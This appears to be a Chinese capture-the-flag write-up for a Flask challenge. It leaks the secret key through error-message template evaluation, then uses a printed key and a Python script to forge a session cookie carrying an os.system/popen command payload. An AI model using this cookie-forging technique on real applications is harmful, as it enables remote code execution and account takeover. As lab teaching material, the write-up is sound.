目录
考点:
解题:
总结:
考点:flask-session 伪造
key 值搜寻
解题:进入环境,输入 1+1 会出现 2
应该是SSTI。但是输入{{1+1}} 会出现 :You cant use ast.Set m8
提示我们语法错误。
尝试输入 1/0 看看会不会报错,
果然,并且 把我们的错误语句 报出来了, 那么既然把我们的语句爆出来了 ,那么是否可以利用报错的回显来获取信息呢?
尝试输入1/0{{1+2}} ,还是 Check your syntax m8
但是把 1/0 后面的内容注释掉 就可以 报错返回 1/0#3
那他确实是 执行了 {{}} 里的内容并且返回 回来了,相比正常的ssti 也就加了个 # 。
正常思路,我们先看一下 config
看到 又secret key 应该是伪造 flask seesion 。
抓包也是能够看见session 的。。解密出来正是我们之前输入的 值
伪造cookie执行命令:
python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(os).system("ls ")'}]}"
如果 不行的话 可以用python 来运行此脚本 也能得到payload。
from flask.sessions import SecureCookieSessionInterface secret_key = "你的key" class FakeApp: secret_key = secret_key fake_app = FakeApp() session_interface = SecureCookieSessionInterface() serializer = session_interface.get_signing_serializer(fake_app) cookie = serializer.dumps( {"history": [{"code": '__import__("os").popen("ls ").read()'}]} ) print(cookie)
插入 抓包插入seesion 里得到flag
。。。。